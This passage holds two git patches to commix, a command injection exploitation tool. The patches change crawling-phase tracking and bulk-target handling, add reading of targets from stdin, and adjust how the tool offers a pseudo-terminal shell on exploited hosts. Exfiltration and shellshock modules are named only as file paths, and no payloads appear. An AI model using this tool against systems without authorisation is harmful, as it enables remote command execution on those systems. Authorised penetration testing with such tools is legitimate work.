elif do_update in settings.CHOICE_NO:
From 0b7e449e5bb742b9e718a63a27d95ce5f9ba58d9 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 14 May 2022 08:58:53 +0300
Subject: [PATCH 138/560] Minor updates
---
src/core/injections/controller/checks.py | 7 +-
src/core/injections/controller/controller.py | 71 ++++----
src/core/main.py | 159 +++++++++---------
.../icmp_exfiltration/icmp_exfiltration.py | 2 +-
src/utils/settings.py | 6 +-
5 files changed, 124 insertions(+), 121 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 26da81b9f5..49674c7939 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -392,8 +392,11 @@ def check_connection(url):
Check current assessment phase.
"""
def assessment_phase():
- if settings.DETECTION_PHASE:
- return "detection"
+ if settings.DETECTION_PHASE:
+ if settings.CRAWLING_PHASE:
+ return "crawling"
+ else:
+ return "detection"
else:
return "exploitation"
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 80acffdf25..6b2605c24e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -352,43 +352,42 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
else:
info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests."
print(settings.print_info_msg(info_msg))
-
- if not settings.LOAD_SESSION:
- if menu.options.skip_heuristics:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping heuristic (basic) tests to the target URL."
- print(settings.print_debug_msg(debug_msg))
- else:
- decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE)
- if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
- warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
- print(settings.print_warning_msg(warn_msg))
- checks.tamper_scripts(stored_tamper_scripts=False)
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Performing heuristic (basic) tests to the target URL."
- print(settings.print_debug_msg(debug_msg))
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
- # Check for identified warnings
- url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- while True:
- message = "Skipping of further command injection tests is recommended. "
- message += "Do you agree? [Y/n] > "
- procced_option = common.read_input(message, default="Y", check_batch=True)
- if procced_option in settings.CHOICE_YES:
- settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
- settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
- break
- elif procced_option in settings.CHOICE_NO:
- break
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
+ if menu.options.skip_heuristics:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping heuristic (basic) tests to the target URL."
+ print(settings.print_debug_msg(debug_msg))
+ else:
+ decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE)
+ if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
+ warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
+ print(settings.print_warning_msg(warn_msg))
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Performing heuristic (basic) tests to the target URL."
+ print(settings.print_debug_msg(debug_msg))
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+
+ if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
+ # Check for identified warnings
+ url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
+ while True:
+ message = "Skipping of further command injection tests is recommended. "
+ message += "Do you agree? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
+ settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
+ break
+ elif procced_option in settings.CHOICE_NO:
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + procced_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
warn_msg = "Heuristic (basic) tests shows that" + header_name
diff --git a/src/core/main.py b/src/core/main.py
index 6e62ff69a6..e91ba366c9 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -463,9 +463,7 @@ def main(filename, url):
checks.check_wrong_flags()
else:
found_os_server = checks.user_defined_os()
- except KeyError:
- pass
- except AttributeError:
+ except (KeyError, AttributeError):
pass
# Load tamper scripts
if menu.options.tamper:
@@ -778,86 +776,89 @@ def main(filename, url):
filename = logs.logs_filename_creation(url)
main(filename, url)
- # Check if option is "-m" for multiple urls test.
- if menu.options.bulkfile:
- bulkfile = menu.options.bulkfile
- info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- if not os.path.exists(bulkfile):
- print(settings.SINGLE_WHITESPACE)
- err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist."
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
- raise SystemExit()
- elif os.stat(bulkfile).st_size == 0:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty."
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
+ else:
+ # Check if option is "-m" for multiple urls test.
+ if menu.options.bulkfile:
+ bulkfile = menu.options.bulkfile
+ info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
+ sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
- raise SystemExit()
- else:
- settings.MULTI_TARGETS = True
- print(settings.SINGLE_WHITESPACE)
- with open(menu.options.bulkfile) as f:
- bulkfile = [url.strip() for url in f]
-
- # Check if option "--crawl" is enabled.
- if settings.CRAWLING:
- output_href = []
- url_num = 1
- if not menu.options.bulkfile:
- crawling_list = 1
- output_href = crawler.crawler(url, url_num, crawling_list)
- output_href.append(url)
+ if not os.path.exists(bulkfile):
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist."
+ sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
+ sys.stdout.flush()
+ raise SystemExit()
+ elif os.stat(bulkfile).st_size == 0:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty."
+ sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
+ sys.stdout.flush()
+ raise SystemExit()
+ else:
+ settings.MULTI_TARGETS = True
+ print(settings.SINGLE_WHITESPACE)
+ with open(menu.options.bulkfile) as f:
+ bulkfile = [url.strip() for url in f]
+
+ # Check if option "--crawl" is enabled.
+ if settings.CRAWLING:
+ settings.CRAWLING_PHASE = True
+ output_href = []
+ url_num = 1
+ if not menu.options.bulkfile:
+ crawling_list = 1
+ output_href = crawler.crawler(url, url_num, crawling_list)
+ output_href.append(url)
+ else:
+ crawling_list = len(bulkfile)
+ for url in bulkfile:
+ output_href += (crawler.crawler(url, url_num, crawling_list))
+ url_num += 1
+ output_href = output_href + bulkfile
+ output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
+ output_href = crawler.normalize_results(output_href)
+ settings.CRAWLING_PHASE = False
else:
- crawling_list = len(bulkfile)
- for url in bulkfile:
- output_href += (crawler.crawler(url, url_num, crawling_list))
- url_num += 1
+ output_href = []
output_href = output_href + bulkfile
- output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
- output_href = crawler.normalize_results(output_href)
- else:
- output_href = []
- output_href = output_href + bulkfile
- filename = None
- # Removing duplicates from list.
- clean_output_href = []
- [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
- # Removing empty elements from list.
- clean_output_href = [x for x in clean_output_href if x]
- if len(output_href) >= 0:
- if filename is not None:
- filename = crawler.store_crawling(output_href)
- info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
- print(settings.print_info_msg(info_msg))
- url_num = 0
- for url in clean_output_href:
- if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
- url_num += 1
- print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = common.read_input(message, default="Y", check_batch=True)
- if message in settings.CHOICE_YES:
- settings.INIT_TEST = True
- if url == clean_output_href[-1]:
- settings.EOF = True
- # Reset the injection level
- if menu.options.level > 3:
- menu.options.level = 1
- init_injection(url)
- try:
- response, url = url_response(url)
- if response != False:
- filename = logs.logs_filename_creation(url)
- main(filename, url)
- except:
+ filename = None
+ # Removing duplicates from list.
+ clean_output_href = []
+ [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
+ # Removing empty elements from list.
+ clean_output_href = [x for x in clean_output_href if x]
+ if len(output_href) >= 0:
+ if filename is not None:
+ filename = crawler.store_crawling(output_href)
+ info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
+ print(settings.print_info_msg(info_msg))
+ url_num = 0
+ for url in clean_output_href:
+ if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
+ url_num += 1
+ print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ message = common.read_input(message, default="Y", check_batch=True)
+ if message in settings.CHOICE_YES:
+ settings.INIT_TEST = True
+ if url == clean_output_href[-1]:
+ settings.EOF = True
+ # Reset the injection level
+ if menu.options.level > 3:
+ menu.options.level = 1
+ init_injection(url)
+ try:
+ response, url = url_response(url)
+ if response != False:
+ filename = logs.logs_filename_creation(url)
+ main(filename, url)
+ except:
+ pass
+ elif message in settings.CHOICE_NO:
pass
- elif message in settings.CHOICE_NO:
- pass
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
except KeyboardInterrupt:
try:
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 9676b414b0..25cfade488 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -169,7 +169,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
# Command execution results.
cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src)
except KeyboardInterrupt:
- os._exit(1)
+ os._exit(0)
except:
print(settings.SINGLE_WHITESPACE)
os._exit(0)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index ca3631c80a..90f17e1d53 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "61"
+REVISION = "62"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1130,8 +1130,8 @@ def sys_argv_errors():
# Base64 padding
BASE64_PADDING = "=="
-# Crawling state
-CRAWLING = False
+# Crawling phase
+CRAWLING = CRAWLING_PHASE = False
CRAWLED_SKIPPED_URLS_NUM = 0
CRAWLED_URLS_NUM = 0
From 3acd37cfdb8e7d4032b7b4b13f4565fd4b139a12 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 15 May 2022 09:25:22 +0300
Subject: [PATCH 139/560] Added support regarding parsing target(s) from
piped-input (i.e. stdin).
---
doc/CHANGELOG.md | 1 +
.../blind/techniques/time_based/tb_handler.py | 11 ++-
src/core/injections/controller/checks.py | 22 +++++
src/core/injections/controller/controller.py | 3 +-
.../techniques/classic/cb_handler.py | 13 ++-
.../techniques/eval_based/eb_handler.py | 11 ++-
.../techniques/file_based/fb_handler.py | 2 +-
.../techniques/tempfile_based/tfb_handler.py | 11 ++-
src/core/main.py | 87 ++++++++++++-------
.../dns_exfiltration/dns_exfiltration.py | 2 +-
.../icmp_exfiltration/icmp_exfiltration.py | 2 +-
src/core/modules/shellshock/shellshock.py | 9 +-
src/utils/common.py | 5 +-
src/utils/menu.py | 17 ----
src/utils/settings.py | 4 +-
15 files changed, 133 insertions(+), 67 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8699acf397..da59613613 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: Support regarding parsing target(s) from piped-input (i.e. stdin).
* Added: New option `--answers` to set user answers to asked questions during commix run.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for normalizing crawling results.
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 4dc27cb427..7abb43fe07 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -306,6 +306,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
@@ -475,7 +477,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -490,7 +495,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -521,6 +526,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 49674c7939..92654e0bee 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -53,6 +53,28 @@
except:
settings.READLINE_ERROR = True
+"""
+The available mobile user agents.
+"""
+def mobile_user_agents():
+ menu.mobile_user_agents()
+ while True:
+ message = "Which smartphone do you want to imitate through HTTP User-Agent header? > "
+ mobile_user_agent = common.read_input(message, default="1", check_batch=True)
+ try:
+ if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)):
+ return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
+ elif mobile_user_agent.lower() == "q":
+ raise SystemExit()
+ else:
+ err_msg = "'" + mobile_user_agent + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ except ValueError:
+ err_msg = "'" + mobile_user_agent + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
"""
User aborted procedure
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 6b2605c24e..c96bb88b31 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -841,8 +841,9 @@ def do_check(url, http_request_method, filename):
err_msg += "."
print(settings.print_critical_msg(err_msg))
+ logs.print_logs_notification(filename, url)
if not settings.MULTI_TARGETS:
- logs.print_logs_notification(filename, url)
+ print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
raise SystemExit()
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index a5142b36cc..8dd6a3e80a 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -204,6 +204,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
@@ -345,11 +347,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Pseudo-Terminal shell
go_back = False
go_back_again = False
- while True:
+ while True :
if go_back == True:
break
message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -359,7 +364,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -410,6 +415,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index dd77d4b545..2573314a1e 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -216,6 +216,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
@@ -361,7 +363,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if go_back == True:
break
message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -371,7 +376,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -418,6 +423,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 531fffa7c2..fd9ab9305d 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -601,7 +601,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index e5948f2d9d..46f957538e 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -335,6 +335,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
if 'cmd' in locals():
@@ -529,7 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if go_back == True:
break
message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -543,7 +548,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -599,6 +604,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
diff --git a/src/core/main.py b/src/core/main.py
index e91ba366c9..584afca196 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -59,6 +59,26 @@
# Use Colorama to make Termcolor work on Windows too :)
init()
+"""
+Check for HTTP Method
+"""
+def check_http_method(url):
+ # Check for HTTP Method
+ if len(settings.HTTP_METHOD) != 0:
+ http_request_method = settings.HTTP_METHOD.upper()
+ else:
+ if not menu.options.data or \
+ not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \
+ settings.INJECT_TAG in url or \
+ [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]:
+ http_request_method = settings.HTTPMETHOD.GET
+ else:
+ http_request_method = settings.HTTPMETHOD.POST
+
+ if menu.options.offline:
+ settings.CHECK_FOR_UPDATES_ON_START = False
+
+ return http_request_method
"""
Define HTTP User-Agent header.
@@ -67,18 +87,20 @@ def user_agent_header():
# Check if defined "--mobile" option.
if menu.options.mobile:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent:
- err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS or settings.IS_TTY:
+ err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
else:
- menu.options.agent = menu.mobile_user_agents()
+ menu.options.agent = checks.mobile_user_agents()
# Check if defined "--random-agent" option.
if menu.options.random_agent:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile:
- err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS or settings.IS_TTY:
+ err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
else:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Fetching random HTTP User-Agent header. "
@@ -97,7 +119,6 @@ def user_agent_header():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP User-Agent header."
print(settings.print_debug_msg(debug_msg))
-
"""
Examine the request
"""
@@ -496,6 +517,7 @@ def main(filename, url):
try:
filename = ""
+
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
@@ -549,8 +571,11 @@ def main(filename, url):
install.installer()
raise SystemExit()
+ if not sys.stdin.isatty():
+ settings.IS_TTY = False
+
# Check for missing mandatory option(s).
- if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
+ if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)):
err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). "
@@ -636,7 +661,7 @@ def main(filename, url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- if menu.options.wizard:
+ if menu.options.wizard and settings.IS_TTY:
if not menu.options.url:
while True:
message = "Please enter full target URL (-u) > "
@@ -677,7 +702,7 @@ def main(filename, url):
settings.CRAWLING = True
# Check arguments
- if len(sys.argv) == 1:
+ if len(sys.argv) == 1 and settings.IS_TTY:
menu.parser.print_help()
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
@@ -743,21 +768,6 @@ def main(filename, url):
elif menu.options.requestfile or menu.options.logfile:
parser.logfile_parser()
- # Check for HTTP Method
- if len(settings.HTTP_METHOD) != 0:
- http_request_method = settings.HTTP_METHOD.upper()
- else:
- if not menu.options.data or \
- not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \
- settings.INJECT_TAG in menu.options.url or \
- [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]:
- http_request_method = settings.HTTPMETHOD.GET
- else:
- http_request_method = settings.HTTPMETHOD.POST
-
- if menu.options.offline:
- settings.CHECK_FOR_UPDATES_ON_START = False
-
# Check if ".git" exists and check for updated version!
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
@@ -768,7 +778,8 @@ def main(filename, url):
else:
url = menu.options.url
- if not menu.options.bulkfile and not settings.CRAWLING:
+ if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING:
+ http_request_method = check_http_method(url)
if os_checks_num == 0:
settings.INIT_TEST = True
response, url = url_response(url)
@@ -800,9 +811,9 @@ def main(filename, url):
print(settings.SINGLE_WHITESPACE)
with open(menu.options.bulkfile) as f:
bulkfile = [url.strip() for url in f]
-
+
# Check if option "--crawl" is enabled.
- if settings.CRAWLING:
+ if settings.CRAWLING and settings.IS_TTY:
settings.CRAWLING_PHASE = True
output_href = []
url_num = 1
@@ -821,20 +832,32 @@ def main(filename, url):
settings.CRAWLING_PHASE = False
else:
output_href = []
- output_href = output_href + bulkfile
- filename = None
+ if settings.IS_TTY:
+ output_href = output_href + bulkfile
+ filename = None
+ else:
+ info_msg = "Using 'stdin' for parsing targets list."
+ print(settings.print_info_msg(info_msg))
+ menu.options.batch = True
+ bulkfile = sys.stdin
+ settings.MULTI_TARGETS = True
+ for line in bulkfile:
